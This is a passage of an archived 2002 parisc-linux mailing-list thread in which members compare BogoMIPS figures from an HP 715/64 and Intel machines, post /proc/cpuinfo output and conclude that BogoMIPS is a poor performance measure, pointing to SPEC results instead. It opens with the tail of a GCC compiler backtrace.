    function=0x36f564 "dwarf2out_frame_debug_expr")
    at ../../src/gcc/diagnostic.c:1450
#1  0x000b234c in dwarf2out_frame_debug_expr (expr=0x40191750, 
    label=0x3b86d0 "*.LCFI52") at ../../src/gcc/dwarf2out.c:1535
#2  0x000b26fc in dwarf2out_frame_debug (insn=0x40191750)
    at ../../src/gcc/dwarf2out.c:1650
#3  0x0010a4d0 in final_scan_insn (insn=0x4067f960, file=0x423a10, optimize=2, 
    prescan=0, nopeepholes=0) at ../../src/gcc/final.c:2653
#4  0x00108f98 in final (first=0x403dd720, file=0x423a10, optimize=2, 
    prescan=0) at ../../src/gcc/final.c:1787
[...]

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:21:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Peter Lavender" <plaven@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] bogomips?
Date: Sat, 12 Jan 2002 22:10:18 +1100
Lines: 16
Approved: news@gmane.org
Message-ID: <005601c19b59$d9645370$090ba8c0@winnie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620956 768 80.91.229.3 (22 Nov 2014 01:49:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:16 +0000 (UTC)
To: "parisc" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan 12 04:06:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta02ps.bigpond.com (mta02ps.bigpond.com [144.135.25.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8206E482A
	for <parisc-linux@parisc-linux.org>; Sat, 12 Jan 2002 04:06:23 -0700 (MST)
Original-Received: from piglet.sspl.net.au ([144.135.25.69]) by
          mta02ps.bigpond.com (Netscape Messaging Server 4.15) with SMTP
          id GPTOIA00.CUJ for <parisc-linux@parisc-linux.org>; Sat, 12 Jan
          2002 21:13:22 +1000 
Original-Received: from CPE-203-51-29-136.nsw.bigpond.net.au ([203.51.29.136]) by PSMAM01.mailsvc.email.bigpond.com(MailRouter V3.0h 65/13546529); 12 Jan 2002 21:06:19
Original-Received: from winnie (winnie. [192.168.11.9])
	by piglet.sspl.net.au (8.9.3/8.9.3) with SMTP id WAA09447
	for <parisc-linux@parisc-linux.org>; Sat, 12 Jan 2002 22:06:22 +1100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13700

Hi everyone,

What's a 715/64 equate to in terms of intel arches?

Here's my p90 with 48meg of ram:
Calibrating delay loop... 35.84 BogoMIPS

and my 715/64 with 128 meg of ram:
Calibrating delay loop... 63.69 BogoMIPS

Thanks,

Pete




From - Thu Nov 08 21:21:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "kenneth westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bogomips?
Date: Sat, 12 Jan 2002 12:35:37 +0100
Lines: 58
Approved: news@gmane.org
Message-ID: <OE60SJBsBrwvvIfPvhi000088a7@hotmail.com>
References: <005601c19b59$d9645370$090ba8c0@winnie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620956 771 80.91.229.3 (22 Nov 2014 01:49:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:16 +0000 (UTC)
To: "Peter Lavender" <plaven@bigpond.net.au>,
	"parisc" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan 12 04:36:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hotmail.com (oe60.law4.hotmail.com [216.33.148.156])
	by dsl2.external.hp.com (Postfix) with ESMTP id 26349482A
	for <parisc-linux@parisc-linux.org>; Sat, 12 Jan 2002 04:36:57 -0700 (MST)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Sat, 12 Jan 2002 03:36:50 -0800
X-Originating-IP: [213.224.83.150]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 12 Jan 2002 11:36:50.0965 (UTC) FILETIME=[6D36B450:01C19B5D]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13701

Hmm, don't know. 

My little 486DX4 100MHz, 12MB RAM:
/proc# cat ./cpuinfo 
processor       : 0
vendor_id       : GenuineIntel
cpu family      : 4
model           : 8
model name      : 486 DX/4
stepping        : 0
fdiv_bug        : no
hlt_bug         : no
sep_bug         : no
f00f_bug        : no
coma_bug        : no
fpu             : yes
fpu_exception   : yes
cpuid level     : 1
wp              : yes
flags           : fpu vme
bogomips        : 49.66

/proc# 


regards,

Kenneth

----- Original Message ----- 
From: "Peter Lavender" <plaven@bigpond.net.au>
To: "parisc" <parisc-linux@parisc-linux.org>
Sent: Saturday, January 12, 2002 12:10 PM
Subject: [parisc-linux] bogomips?


> Hi everyone,
> 
> What's a 715/64 equate to in terms of intel arches?
> 
> Here's my p90 with 48meg of ram:
> Calibrating delay loop... 35.84 BogoMIPS
> 
> and my 715/64 with 128 meg of ram:
> Calibrating delay loop... 63.69 BogoMIPS
> 
> Thanks,
> 
> Pete
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 



From - Thu Nov 08 21:21:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@pflash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bogomips?
Date: Sat, 12 Jan 2002 09:16:18 -0600
Lines: 106
Approved: news@gmane.org
Message-ID: <02011209161801.01008@localhost.localdomain>
References: <005601c19b59$d9645370$090ba8c0@winnie> <OE60SJBsBrwvvIfPvhi000088a7@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620956 773 80.91.229.3 (22 Nov 2014 01:49:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:16 +0000 (UTC)
Cc: "parisc" <parisc-linux@parisc-linux.org>
To: "Peter Lavender" <plaven@bigpond.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan 12 08:16:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from vopserver.pflashcom (firewall.pflash.com [207.19.136.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 80D11482A
	for <parisc-linux@parisc-linux.org>; Sat, 12 Jan 2002 08:16:17 -0700 (MST)
Original-Received: from localhost.localdomain (ppp184.cc1.pflash.com [63.121.24.186]) by vopserver.pflashcom
 (Vircom SMTPRS 5.2.203) with SMTP id <B0009585275@vopserver.pflashcom>;
 Sat, 12 Jan 2002 09:11:57 -0600
X-Mailer: KMail [version 1.2]
In-Reply-To: <OE60SJBsBrwvvIfPvhi000088a7@hotmail.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13702

Hmmm....
I don't know if this is the intended operation or not (probably a question 
for the Linux tree dudes), but...

Kenneth's 486 reports at about 1/2 the clock speed (also notice the lack of a 
cpu MHz line in the report).

This Celeron reports at about 2* the clock speed. (Kernel 2.4.17)

If memory (mine) serves, my P-II system reported at appox. bogomips == cpu 
clock.  I don't recall what my Pentium or 386 system reported and have never 
had a 486.

I think I noticed the change in the relationship between bogomips and cpu 
clock early in kernel 2.2.x (while I was running the P-II system) - perhaps 
something has crept in from the Linux tree that is having this effect.

Mike

[mszick@localhost /proc]$ cat ./cpuinfo
processor       : 0
vendor_id       : GenuineIntel
cpu family      : 6
model           : 6
model name      : Celeron (Mendocino)
stepping        : 5
cpu MHz         : 467.737
cache size      : 128 KB
fdiv_bug        : no
hlt_bug         : no
f00f_bug        : no
coma_bug        : no
fpu             : yes
fpu_exception   : yes
cpuid level     : 2
wp              : yes
flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca 
cmov
pat pse36 mmx fxsr
bogomips        : 930.61
 
[mszick@localhost /proc]$

On Saturday 12 January 2002 05:35 am, you wrote:
> Hmm, don't know.
>
> My little 486DX4 100MHz, 12MB RAM:
> /proc# cat ./cpuinfo
> processor       : 0
> vendor_id       : GenuineIntel
> cpu family      : 4
> model           : 8
> model name      : 486 DX/4
> stepping        : 0
> fdiv_bug        : no
> hlt_bug         : no
> sep_bug         : no
> f00f_bug        : no
> coma_bug        : no
> fpu             : yes
> fpu_exception   : yes
> cpuid level     : 1
> wp              : yes
> flags           : fpu vme
> bogomips        : 49.66
>
> /proc#
>
>
> regards,
>
> Kenneth
>
> ----- Original Message -----
> From: "Peter Lavender" <plaven@bigpond.net.au>
> To: "parisc" <parisc-linux@parisc-linux.org>
> Sent: Saturday, January 12, 2002 12:10 PM
> Subject: [parisc-linux] bogomips?
>
> > Hi everyone,
> >
> > What's a 715/64 equate to in terms of intel arches?
> >
> > Here's my p90 with 48meg of ram:
> > Calibrating delay loop... 35.84 BogoMIPS
> >
> > and my 715/64 with 128 meg of ram:
> > Calibrating delay loop... 63.69 BogoMIPS
> >
> > Thanks,
> >
> > Pete
> >
> >
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:21:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bogomips?
Date: Sat, 12 Jan 2002 08:36:17 -0800
Lines: 19
Approved: news@gmane.org
Message-ID: <20020112163617.GB21816@tausq.org>
References: <005601c19b59$d9645370$090ba8c0@winnie>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620957 776 80.91.229.3 (22 Nov 2014 01:49:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:17 +0000 (UTC)
Cc: parisc <parisc-linux@parisc-linux.org>
To: Peter Lavender <plaven@bigpond.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan 12 09:36:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0874D482A
	for <parisc-linux@parisc-linux.org>; Sat, 12 Jan 2002 09:36:38 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id lftgkaaa for parisc-linux@parisc-linux.org; Sat, 12 Jan 2002 09:36:42 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16PR8j-0008A3-00; Sat, 12 Jan 2002 08:36:17 -0800
Content-Disposition: inline
In-Reply-To: <005601c19b59$d9645370$090ba8c0@winnie>
User-Agent: Mutt/1.3.25i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13703

> What's a 715/64 equate to in terms of intel arches?
> 
> Here's my p90 with 48meg of ram:
> Calibrating delay loop... 35.84 BogoMIPS
> 
> and my 715/64 with 128 meg of ram:
> Calibrating delay loop... 63.69 BogoMIPS

bogomips is not a good measure of this..... try looking at the SPEC
website (www.spec.org) for the CPU95/SPECint95/SPECfp95 results.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:21:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bogomips?
Date: Sat, 12 Jan 2002 08:00:23 -0900 (AKST)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0201120757330.1989-100000@goliath.alaskatech.org>
References: <005601c19b59$d9645370$090ba8c0@winnie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620957 781 80.91.229.3 (22 Nov 2014 01:49:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:17 +0000 (UTC)
Cc: parisc <parisc-linux@parisc-linux.org>
To: Peter Lavender <plaven@bigpond.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan 12 10:04:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta-2.gci.net (mta-2.gci.net [208.138.130.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id C53B6482A
	for <parisc-linux@parisc-linux.org>; Sat, 12 Jan 2002 10:04:33 -0700 (MST)
Original-Received: from mmp-2.gci.net ([208.138.130.81]) by mta-2.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GPU4RI01.A9F for
          <parisc-linux@parisc-linux.org>; Sat, 12 Jan 2002 08:04:30 -0900 
Original-Received: from goliath.alaskatech.org ([24.237.5.207]) by
          mmp-2.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GPU4RI02.60I; Sat, 12 Jan 2002 08:04:30 -0900 
Original-Received: from goliath.alaskatech.org (goliath.alaskatech.org [24.237.5.207])
	by goliath.alaskatech.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id IAA02819;
	Sat, 12 Jan 2002 08:00:23 -0900
In-Reply-To: <005601c19b59$d9645370$090ba8c0@winnie>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13704

On Sat, 12 Jan 2002, Peter Lavender wrote:

> Hi everyone,
>
> What's a 715/64 equate to in terms of intel arches?
>
> Here's my p90 with 48meg of ram:
> Calibrating delay loop... 35.84 BogoMIPS
>
> and my 715/64 with 128 meg of ram:
> Calibrating delay loop... 63.69 BogoMIPS

As a rough guess, my 715/100 feels like a Pentium chip of roughly twice
the speed, while my C180 feels like a P2 of roughly twice the speed. Don't
know if the bogomips back that up, but that's the way they feel.




From - Thu Nov 08 21:21:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bogomips?
Date: Sat, 12 Jan 2002 15:43:06 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20020112224306.C73ED482A@dsl2.external.hp.com>
References: <Pine.LNX.4.33.0201120757330.1989-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620957 787 80.91.229.3 (22 Nov 2014 01:49:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:17 +0000 (UTC)
Cc: Peter Lavender <plaven@bigpond.net.au>,
	parisc <parisc-linux@parisc-linux.org>
To: Tom <palinux@alaskatech.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan 12 15:43:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id C73ED482A; Sat, 12 Jan 2002 15:43:06 -0700 (MST)
In-Reply-To: Message from Tom <palinux@alaskatech.org> 
   of "Sat, 12 Jan 2002 08:00:23 -0900." <Pine.LNX.4.33.0201120757330.1989-100000@goliath.alaskatech.org> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13705

Tom wrote:
> As a rough guess, my 715/100 feels like a Pentium chip of roughly twice
> the speed, while my C180 feels like a P2 of roughly twice the speed. Don't
> know if the bogomips back that up, but that's the way they feel.

I've heard that from a bunch of people and seems like a good rule of thumb.

Someone once told me: "bogomips is just a dick waving contest".
(apologies to any female readers who are offended).
But that statement accurately  sums up how useful bogomips
is for comparing perf.

grant



From - Thu Nov 08 21:21:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "kenneth westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bogomips?
Date: Sun, 13 Jan 2002 09:53:16 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <OE23Dohb85o1FTGnN9N00008bec@hotmail.com>
References: <Pine.LNX.4.33.0201120757330.1989-100000@goliath.alaskatech.org> <20020112224306.C73ED482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620958 789 80.91.229.3 (22 Nov 2014 01:49:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:18 +0000 (UTC)
Cc: "Peter Lavender" <plaven@bigpond.net.au>,
	"parisc" <parisc-linux@parisc-linux.org>
To: "Tom" <palinux@alaskatech.org>,
	"Grant Grundler" <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 13 01:54:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hotmail.com (oe23.law4.hotmail.com [216.33.148.16])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9490B482B
	for <parisc-linux@parisc-linux.org>; Sun, 13 Jan 2002 01:54:39 -0700 (MST)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Sun, 13 Jan 2002 00:54:34 -0800
X-Originating-IP: [213.224.83.78]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 13 Jan 2002 08:54:34.0566 (UTC) FILETIME=[EC47DE60:01C19C0F]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13706

Than my server has a rather small dick.
But they always claim, size doesn't count ;)

----- Original Message -----
From: "Grant Grundler" <grundler@dsl2.external.hp.com>
To: "Tom" <palinux@alaskatech.org>
Cc: "Peter Lavender" <plaven@bigpond.net.au>; "parisc"
<parisc-linux@parisc-linux.org>
Sent: Saturday, January 12, 2002 11:43 PM
Subject: Re: [parisc-linux] bogomips?


> Tom wrote:
> > As a rough guess, my 715/100 feels like a Pentium chip of roughly twice
> > the speed, while my C180 feels like a P2 of roughly twice the speed.
Don't
> > know if the bogomips back that up, but that's the way they feel.
>
> I've heard that from a bunch of people and seems like a good rule of
thumb.
>
> Someone once told me: "bogomips is just a dick waving contest".
> (apologies to any female readers who are offended).
> But that statement accurately  sums up how useful bogomips
> is for comparing perf.
>
> grant
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>



From - Thu Nov 08 21:21:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bogomips?
Date: Sun, 13 Jan 2002 02:12:09 -0800
Lines: 31
Approved: news@gmane.org
Message-ID: <20020113021209.55bad2ea.csuder@cisco.com>
References: <Pine.LNX.4.33.0201120757330.1989-100000@goliath.alaskatech.org>
	<20020112224306.C73ED482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620958 792 80.91.229.3 (22 Nov 2014 01:49:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:18 +0000 (UTC)
Cc: palinux@alaskatech.org, plaven@bigpond.net.au,
	parisc-linux@parisc-linux.org
To: "Grant Grundler" <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 13 03:12:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 401EF482A
	for <parisc-linux@parisc-linux.org>; Sun, 13 Jan 2002 03:12:18 -0700 (MST)
Original-Received: from mira-sjc5-9.cisco.com (mira-sjc5-9.cisco.com [171.71.163.32])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id g0DACBF10803;
	Sun, 13 Jan 2002 02:12:11 -0800 (PST)
Original-Received: from cisco.com (ssh-sj1.cisco.com [171.68.225.134])
	by mira-sjc5-9.cisco.com (Mirapoint)
	with SMTP id ABU30339;
	Sun, 13 Jan 2002 02:12:18 -0800 (PST)
In-Reply-To: <20020112224306.C73ED482A@dsl2.external.hp.com>
X-Mailer: Sylpheed version 0.6.6claws36 (GTK+ 1.2.10; hppa-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13707


http://www.linuxdoc.org/HOWTO/mini/BogoMips.html

For those who believe BogoMips matter..... ;-)

	Christian 


On Sat, 12 Jan 2002 15:43:06 -0700
"Grant Grundler" <grundler@dsl2.external.hp.com> wrote:

> Tom wrote:
